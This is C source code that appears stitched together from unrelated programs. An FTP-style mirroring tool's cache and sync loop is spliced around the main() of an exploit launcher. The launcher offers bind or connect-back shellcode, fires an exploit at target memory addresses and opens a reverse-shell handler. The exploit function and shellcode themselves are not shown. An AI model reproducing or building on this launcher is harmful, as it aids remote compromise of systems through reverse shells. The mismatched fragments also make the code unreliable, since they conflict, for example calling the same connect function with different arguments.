static void rebuild_cache(int host)
{
FileData remote_file_data;
printf(_("Rebuilding cache...\n"));
if (connect_to_remote_host(host) != 0) {
return;
}
get_remote_file_data(&remote_file_data, host);
disconnect_from_remote_host(host);
save_cache(&remote_file_data, host);
free_file_data(&remote_file_data);
}
int
main ( int argc, char* argv[] )
{
int s, option;
args myargs;
system ( "clear" );
header ();
parse_arguments ( argc, argv, &myargs );
s = connect_to_remote_host ( myargs.tip, myargs.tport );
printf ( "--[ select shellcode\n" );
printf ( " |\n" );
printf ( " |- [0] bind\n" );
printf ( " `- [1] cb\n" );
printf ( ">> " );
scanf ( "%d", &option );
switch ( option )
{
case 0:
printf ( "--[ sorry, does not work yet :/\n" );
/*
printf ( "--[ using bind shellcode\n" );
if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 )
{
printf ( "exploitation failed!\n" );
exit ( 1 );
}
connect_to_bindshell ( myargs.tip, 3879 );
*/
break;
case 1:
printf ( "--[ using cb shellcode\n" );
if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) == 1 )
{
printf ( "exploitation failed!\n" );
exit ( 1 );
}
start_reverse_handler ( 45295 );
break;
default:
printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
}
close ( s );
return 0;
}
void main_loop(int argc, char *argv[], int max_hosts)
{
int i;
int host;
int *targeted_host;
FileData local_file_data;
FileData remote_file_data;
Order *order;
Direction direction;
bool use_cache;
char *top_dir;
FtpInit();
targeted_host = get_targeted_host(argc, argv, max_hosts);
for (i = 0;; i++) {
host = targeted_host[i];
if (host == -1) {
break;
}
message(PROCESS, cfgSectionNumberToName(host), 0, host);
direction = get_direction(host);
get_local_file_data(&local_file_data, host);
if (command_line_option.rebuild_cache) { /* -r | --rebuild-cache */
rebuild_cache(host);
free_file_data(&local_file_data);
continue;
}
if (command_line_option.catch_up) { /* -R | --catch-up */
catch_up(&local_file_data, host);
free_file_data(&local_file_data);
continue;
}
if (direction == DOWNLOAD || !does_cache_exist(host)) {
if (direction == DOWNLOAD) {
printf(_("Rebuilding cache for downloading...\n"));
} else {
printf(_("Cache file is not found.\nCreating a new one...\n"));
}
if (connect_to_remote_host(host) != 0) {
free_file_data(&local_file_data);
continue;
}
get_remote_file_data(&remote_file_data, host);
use_cache = FALSE;
} else {
load_cache(&remote_file_data, host);
use_cache = TRUE;
}
order = compare_both_hosts_and_generate_order(&local_file_data, &remote_file_data, config.local_top_dir[host], config.remote_top_dir[host], direction, host);
if (!does_need_update(order)) {
disconnect_from_remote_host(host);
if (direction == UPLOAD) {
printf(_("The remote host doesn't need updating.\n"));
} else {
printf(_("The local host doesn't need updating.\n"));
}
if (!use_cache) {
save_cache(&remote_file_data, host);
}
free_file_data(&remote_file_data);
free_file_data(&local_file_data);
continue;
}
if(command_line_option.list) {
disconnect_from_remote_host(host);
put_listing_of_updated_file(order, direction);
free_file_data(&remote_file_data);
free_file_data(&local_file_data);
continue;
}
if(command_line_option.nlist) {
disconnect_from_remote_host(host);
put_the_number_of_updated_file(order, direction);
free_file_data(&remote_file_data);
free_file_data(&local_file_data);
continue;
}
if (!use_cache) {
printf("\n");
}
put_num_updated_file(order, direction);
if (connect_to_remote_host(host) != 0) {
free_file_data(&remote_file_data);
free_file_data(&local_file_data);
continue;
}
if (direction == UPLOAD) {
top_dir = str_concat(config.remote_top_dir[host], "/", NULL);
} else {
top_dir = str_concat(config.local_top_dir[host], "/", NULL);
}
message(ENTER, top_dir, 0, host);
execute_order(order, &remote_file_data, direction, host);
message(LEAVE, top_dir, 0, host);
free(top_dir);
free_order(order);
disconnect_from_remote_host(host);
save_cache(&remote_file_data, host);
free_file_data(&remote_file_data);
free_file_data(&local_file_data);
}
free(targeted_host);
}
